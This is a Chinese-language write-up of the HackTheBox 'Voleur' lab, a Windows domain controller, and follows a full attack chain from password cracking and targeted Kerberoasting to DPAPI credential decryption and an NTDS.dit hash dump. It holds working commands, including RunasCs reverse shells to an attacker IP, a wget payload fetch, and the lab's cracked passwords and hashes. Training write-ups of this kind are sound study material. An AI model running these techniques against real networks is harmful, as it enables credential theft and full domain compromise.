HackTheBox Voleur Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Voleur

靶场地址:

https://app.hackthebox.com/machines/670

靶场环境连接说明:

演示为 hackthebox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 hackthebox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

思维导图:

突破边界(获取用户旗帜):

在使用 Nmap 对目标主机进行端口扫描时,发现系统为 Windows 域控环境,开放了 SMB、SSH、Winrm 服务。靶机仅允许 kerberos 身份认证,使用已知用户申请 TGT 票据,在 SMB IT/First-Line Support 目录得到 xlsx 文件,利用 john 解密得到了多个用户凭证和 Todd.Wolfe 用户删除信息。使用 Bloodhound 分析发现 svc_ldap 用户对 svc_winrm 用户具有 writesSPN 权限,通过 kerberoast 攻击和 hashcat 解密,得到了 svc_winrm 用户密码,使用 evil-winrm 登录靶机,在 svc_winrm 桌面得到用户旗帜。

权限提升(获取管理员旗帜):

利用获取的 svc_winrm 用户 shell,执行 Runascs 工具反弹 shell(svc_ldap 用户权限),然后通过获取的 shell 恢复了 Todd.Wolfe 用户。再次执行执行 Runascs 工具反弹 shell,获取到 Todd.Wolfe 用户 shell,使用 winpeas 工具信息搜集,发现 Todd.Wolfe 用户家目录存在 DPAPI 文件,以 Todd.Wolfe 用户权限连接靶机 SMB 服务,其服务共享了 Todd.Wolfe 用户家目录,通过检索在家目录得到了加密的 master key 和用户凭证文件,使用 impacket-dpapi 工具解密得到了 Jeremy.Combs 用户凭证。使用 Jeremy.Combs 用户访问靶机 SMB 服务得到了 SSH 私钥文件,使用 svc_backup 用户成功登录靶机 WSL 系统。系统 mnt 目录挂载了靶机 C 盘文件,在 IT 共享目录发现了域控备份的 system 和 ntds 文件,使用 impacket-secretsdump 工具得到了域控管理员 hash,使用 evil-winrm 登录,在 administrator 桌面得到管理员旗帜。

三、靶场攻击演示

3.1 靶场信息收集

已知用户名和密码。

1
2
ryan.naylor
HollowOct31Nyt

使用 nmap 对靶机进行端口扫描。

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sudo nmap -p- 10.129.232.130 --min-rate=2000

PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2222/tcp open EtherNetIP-1
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
56661/tcp open unknown
64779/tcp open unknown
64780/tcp open unknown
64785/tcp open unknown
64810/tcp open unknown

UDP 端口扫描:未发现可利用的端口。

1
2
3
4
5
6
7
sudo nmap -p- -sU 10.129.232.130 --min-rate=2000 --open

PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap

继续使用 nmap 对已开放端口的服务进行信息收集。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
sudo nmap -p53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389,49664,49667,56661,64779,64780,64785,64810 -sCV 10.129.232.130

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-24 15:06:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
56661/tcp open msrpc Microsoft Windows RPC
64779/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
64780/tcp open msrpc Microsoft Windows RPC
64785/tcp open msrpc Microsoft Windows RPC
64810/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h59m57s
| smb2-time:
| date: 2025-07-24T15:07:28
|_ start_date: N/A

由此得出结论:

系统为 Windows 域控环境,开放有 SMB、Winrm、SSH 服务,主机 host 为 DC,接下来进行逐个端口排查。

3.2 渗透测试突破边界(获取用户旗帜)

3.2.1 配置域控 Kerberos 认证

根据 nmap 扫描结果,在 kali 添加靶机域名解析(域控以及域控 KDC)。

1
echo "10.129.232.130\tdc.voleur.htb voleur.htb" | sudo tee -a /etc/hosts

尝试使用已知口令连接靶机 smb 服务,发现系统禁用了 NTLM 认证。

1
nxc smb 10.129.232.130 -u 'ryan.naylor' -p 'HollowOct31Nyt'

在 kali 使用 kerberos 认证需配置/etc/krb5.conf 文件,其中 KDC 为 DC 主机名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[domain_realm]
.voleur.htb = VOLEUR.HTB
voleur.htb = VOLEUR.HTB

[libdefaults]
default_realm = VOLEUR.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true

[realms]
VOLEUR.HTB = {
kdc = DC.VOLEUR.HTB
admin_server = DC.VOLEUR.HTB
default_domain = VOLEUR.HTB
}

3.2.2 Todd.Wolfe 用户 SMB 服务目录泄漏 xlsx 文件

申请 TGT 票据(Todd.Wolfe 用户)。

1
2
3
4
ntpdate -q 10.129.232.130
faketime '2025-07-24 11:13:28' impacket-getTGT voleur.htb/'ryan.naylor':'HollowOct31Nyt' -k -dc-ip 10.129.232.130
export KRB5CCNAME=~/Desktop/hackthebox/voleur/ryan.naylor.ccache
klist

利用票据访问系统 smb 服务,发现用户可访问 IT 目录。

1
faketime '2025-07-24 11:26:28' nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --shares

使用 impacket-smbclient 连接 smb 服务,在 IT 目录子目录发现了 xlsm 文件,将其下载至本地。

1
2
3
4
5
faketime '2025-07-24 11:13:28' impacket-smbclient -k dc.voleur.htb
use IT
cd First-Line Support
ls
get Access_Review.xlsx

3.2.3 Xlsx 密码破解获取敏感信息

使用 libreoffice 打开表格文件,提示需要密码。

1
2
sudo apt update
sudo apt install libreoffice-calc

将文件转换为 John 可爆破格式。

1
2
office2john Access_Review.xlsx > xlsx.hash
john xlsx.hash --wordlist=~/Desktop/rockyou.txt

1
Access_Review.xlsx:football1

成功破解,输入密码打开表格,发现大量敏感信息。

表格中可获取到:Todd.Wolfe 用户已删除并重置了账号密码、svc_ldap 和 svc_iis 密码信息。Ryan.Naylor 禁用了 kerberos 预身份认证,但我们已知该用户密码不需要进行 AS-Rep 攻击。

1
2
3
Todd.Wolfe NightT1meP1dg3on14
svc_ldap M1XyC9pW7qT5Vn
svc_iis N5pXyW1VqM7CZ8

nxc 测试发现 svc_ldap 和 svc_iis 用户均可正常登录。

1
2
faketime '2025-07-24 11:36:14' nxc smb dc.voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k
faketime '2025-07-24 11:36:14' nxc smb dc.voleur.htb -u 'svc_iis' -p 'N5pXyW1VqM7CZ8' -k

3.2.4 Svc_ldap 用户 kerberoast 攻击获取 svc_winrm 用户密码(WritesSPN 权限)

目前已经拥有三个用户权限,均无法远程管理靶机,使用其中一个用户执行域内信息收集。

1
faketime '2025-07-24 11:41:14' bloodhound-python -d voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -ns 10.129.232.130 -c ALL --zip -k

bloodhound 查看通往 domain admin 最短路径,发现 svc_ldap 对 svc_winrm 用户具有 writesSPN 权限,且 svc_winrm 用户对 DC 具有远程管理权限。

右键 writesSPN 查看攻击帮助信息,发现可通过 targetedKerberoast 工具执行获取 TGS_REP 认证包。

首先获取 svc_ldap 用户 TGT 票据。

1
2
faketime '2025-07-24 11:48:56' impacket-getTGT voleur.htb/'svc_ldap':'M1XyC9pW7qT5Vn' -k -dc-ip 10.129.232.130
export KRB5CCNAME=~/Desktop/hackthebox/voleur/svc_ldap.ccache

使用 targetedKerberoast 工具执行攻击,获取到 lacey.miller 和 svc_winrm 用户 TGS_REP,利用 hashcat 执行破解。

1
python3 targetedKerberoast.py -d "voleur.htb"  -k --dc-host "dc.voleur.htb"

将得到的加密字段保存至文本中,使用 hashcat 破解得到 svc_winrm 用户明文密码。

1
hashcat svc_winrm.tgsrep ~/Desktop/rockyou.txt

1
2
svc_winrm
AFireInsidedeOzarctica980219afi

获取 svc_winrm TGT 票据。

1
2
faketime '2025-07-24 12:00:49' impacket-getTGT voleur.htb/'svc_winrm':'AFireInsidedeOzarctica980219afi' -k -dc-ip 10.129.232.130
export KRB5CCNAME=~/Desktop/hackthebox/voleur/svc_winrm.ccache

靶机开放了 winrm 服务,可使用 evil-winrm 登录靶机。

1
faketime '2025-07-24 12:00:49' evil-winrm -r voleur.htb -i dc.voleur.htb -k svc_winrm.ccache

3.2.5 用户旗帜获取

3.3 提权获取系统最高权限(获取管理员旗帜)

3.3.1 Powershell 恢复 Todd.Wolfe 用户账号(通过 svc_ldap 用户)

在 C 盘 IT 共享目录可发现三个子目录,之前已经利用 Todd.Wolfe 用户在 First-Line Support(一线)目录得到了 xlsx 文件。分析 xlsx 文件 Job 备注信息,Lacey.Miller 和 Todd.Wolfe 用户属于 Second-Line Support Technician 职位(二线),Jeremy.Combs 用户属于 Third-Line Support Technician 职位(三线),其中 Todd.Wolfe 用户密码已被重置,并删除了该用户。

bloodhound 检索发现 svc_ldap 用户对 Lacey.Miller 用户具有 GenericWrite 权限,可通过影子攻击获取 Lacey.Miller 用户 hash,利用 pyWhisker 工具未能攻击成功。** 注意:** 对于这条攻击思路可查看用户出站权限得知。

在域控中,可通过 powershell 指令恢复被删除的用户。经尝试使用 svc_ldap 用户可恢复删除的 Todd.Wolfe 用户。

由于 svc_ldap 用户没有远程登录靶机权限,需上传 Runascs 工具获取 svc_ldap 用户 shell。

1
upload /home/kali/Desktop/hackthebox/voleur/../../tools/runascs/RunasCs.exe

执行 Runascs 工具,成功得到 svc_ldap 用户反弹 shell。

1
2
3
4
5
# kali
rlwap nc -lvnp 1234

# shell
.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn cmd -r 10.10.16.23:1234

使用 powershell 恢复 Todd.Wolfe 用户。

1
2
3
4
5
6
powershell -ep bypass

# 查看todd.wolfe用户删除信息
Get-ADObject -Filter {samaccountname -eq 'todd.wolfe'} -IncludeDeletedObjects

Get-ADObject -Filter {samaccountname -eq 'todd.wolfe'} -IncludeDeletedObjects | Restore-ADObject

获取 Todd.Wolfe 用户 TGT 票据。

1
2
faketime '2025-07-24 12:38:02' impacket-getTGT voleur.htb/'Todd.Wolfe':'NightT1meP1dg3on14' -k -dc-ip 10.129.232.130
export KRB5CCNAME=~/Desktop/hackthebox/voleur/Todd.Wolfe.ccache

nxc 工具发现 Todd.Wolfe 用户也可读取 IT 目录。

1
faketime '2025-07-24 12:43:02' nxc smb dc.voleur.htb -u 'Todd.Wolfe' -p 'NightT1meP1dg3on14' -k --shares

连接靶机 smb 服务,发现服务共享了 todd.wolfe 用户目录。

靶机会定时重置,届时需重新恢复被删除的用户。

1
2
3
4
faketime '2025-07-24 12:50:02' impacket-smbclient -k dc.voleur.htb
use IT
cd Second-Line Support
cd Archived Users

3.3.2 DPAPI 解密获取 Jeremy.Combs 用户密码

手动检索 Jeremy.Combs 用户目录敏感文件比较麻烦,通过 Runascs 获取 Jeremy.Combs 用户反弹 shell(svc_ldap 用户 shell 执行),接着上传 winpeas 执行信息搜集。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# kali
rlwap nc -lvnp 1234

# svc_winrm
.\RunasCs.exe Todd.Wolfe NightT1meP1dg3on14 cmd -r 10.10.16.23:1234

# kali
winpeas
goshs -p 80

# shell
powershell -ep bypass
wget http://10.10.16.23/winPEASx64.exe -O winPEASx64.exe
.\winPEASx64.exe

搜集过程发现了 Todd.Wolfe 用户目录存在 DPAPI keys,访问参考链接:

1
https://book.hacktricks.wiki/zh/windows-hardening/windows-local-privilege-escalation/index.html#dpapi

根据链接中介绍的方式无法直接找到对应的 keys 信息,但是 smb 服务共享了 Todd.Wolfe 用户目录,我们可通过连接靶机 smb 服务获取 Todd.Wolfe 用户目录文件。

Master Key:

1
2
/Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110
08949382-134f-4c63-b93c-ce52efc0aa88

其中 key 的上级 Windows 目录存在多个敏感目录:

  • Credentials:用户存储加密凭证目录,包含远程桌面、共享目录等
  • Protect:存储 DPAPI keys 文件
  • Crypto:存储加密解密私钥信息
  • Vault:Windows Vault(保管箱),保存凭据、Web 密码、BitLocker 密钥等

在 Credentials 目录发现加密文件。

分别将两个文件下载至 kali。

1
2
3
4
5
cd /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110
get 08949382-134f-4c63-b93c-ce52efc0aa88

cd /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials
get 772275FAD58525253490A9B0039791D3

需要先解密获取 master key,然后利用 master key 提取加密凭证信息,可使用 impacket-dpapi 工具执行解密。

解密 master key:

1
2
3
4
# 获取master key
impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14

# 注意:需要指定用户sid和密码

1
0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

解密加密数据:

1
impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

得到了 jeremy.combs 用户密码。

1
2
Username    : jeremy.combs
Unknown : qT3V9pLXyN7W4m

3.3.3 Jeremy.combs 用户 smb 目录获取 ssh 私钥文件

根据 xlsx 文件描述,jeremy.combs 用户属于三线员工,大概率可以访问第三个共享目录,先获取该用户 TGT。

1
2
faketime '2025-07-24 16:15:06' impacket-getTGT voleur.htb/'jeremy.combs':'qT3V9pLXyN7W4m' -k -dc-ip 10.129.232.130
export KRB5CCNAME=~/Desktop/hackthebox/voleur/jeremy.combs.ccache

使用 jeremy.combs 用户访问靶机 smb 服务,在目录发现了 id_ras 和 note.txt.txt 文件,将其下载至本地。

1
2
3
4
5
6
faketime '2025-07-24 16:15:06' impacket-smbclient -k dc.voleur.htb
use IT
ls
cd Third-Line Support
get id_rsa
get Note.txt.txt

Note.txt.txt 文件提示:为了方便备份部署了 WSL 子系统,其中端口扫描过程也发现了系统开放有 SSH 服务(2222 端口)。

使用私钥连接靶机 SSH 服务,需尝试多个用户最终使用 svc_backup 用户成功登录。

1
2
chmod 400 id_rsa
ssh svc_backup@10.129.232.130 -i id_rsa -p 2222

在 WSL 子系统发现 mnt 目录挂载了靶机 C 盘,并在共享目录发现了 DC system 和 htds 文件,将其复制到用户目录然后使用 scp 下载至 kali 本地,紧接着使用 impacket-secretsdump 读取用户 hash。

1
/mnt/c/IT/Third-Line Support/Backups

1
2
3
4
5
6
7
8
# ssh
cp SYSTEM ~/
cp ../Active\ Directory/ntds.dit ~/

# kali
scp -i id_rsa -P 2222 svc_backup@dc.voleur.htb:/home/svc_backup/ntds.dit .
scp -i id_rsa -P 2222 svc_backup@dc.voleur.htb:/home/svc_backup/SYSTEM .
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::

利用 administrator 用户 hash 获取 TGT,然后使用 evil-winrm 连接靶机。

1
2
3
faketime '2025-07-24 16:56:35' impacket-getTGT voleur.htb/'administrator' -hashes :e656e07c56d831611b577b160b259ad2 -k -dc-ip 10.129.232.130
export KRB5CCNAME=~/Desktop/hackthebox/voleur/administrator.ccache
faketime '2025-07-24 16:56:35' evil-winrm -r voleur.htb -i dc.voleur.htb -k administrator.ccache

3.3.4 管理员旗帜获取

Thanks

🎓 新手福利|Hack The Box 学院推荐

🧑‍💻 如果您是初学者,强烈推荐前往 HTB Academy 学习入门课程!

📚 HTB Academy 提供互动式教学,从网络基础到攻防实战,帮助您系统成长、逐步进阶。

📌 建议优先完成模块:「Introduction to Academy
✅ 掌握核心概念,🔓 解锁更多高阶内容与实战功能!

📝 首次访问需注册账号,支持邮箱注册或 GitHub / Google 快速登录。

🚀 点击下方专属邀请链接 🔗,与我一起踏上网络安全学习之旅 👉:
https://referral.hackthebox.com/mzCXyui

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


HackTheBox Voleur Write-up
https://www.f0nesec.top/2025/07/30/hackthebox-voleur/
作者
F0ne
发布于
2025年7月30日
许可协议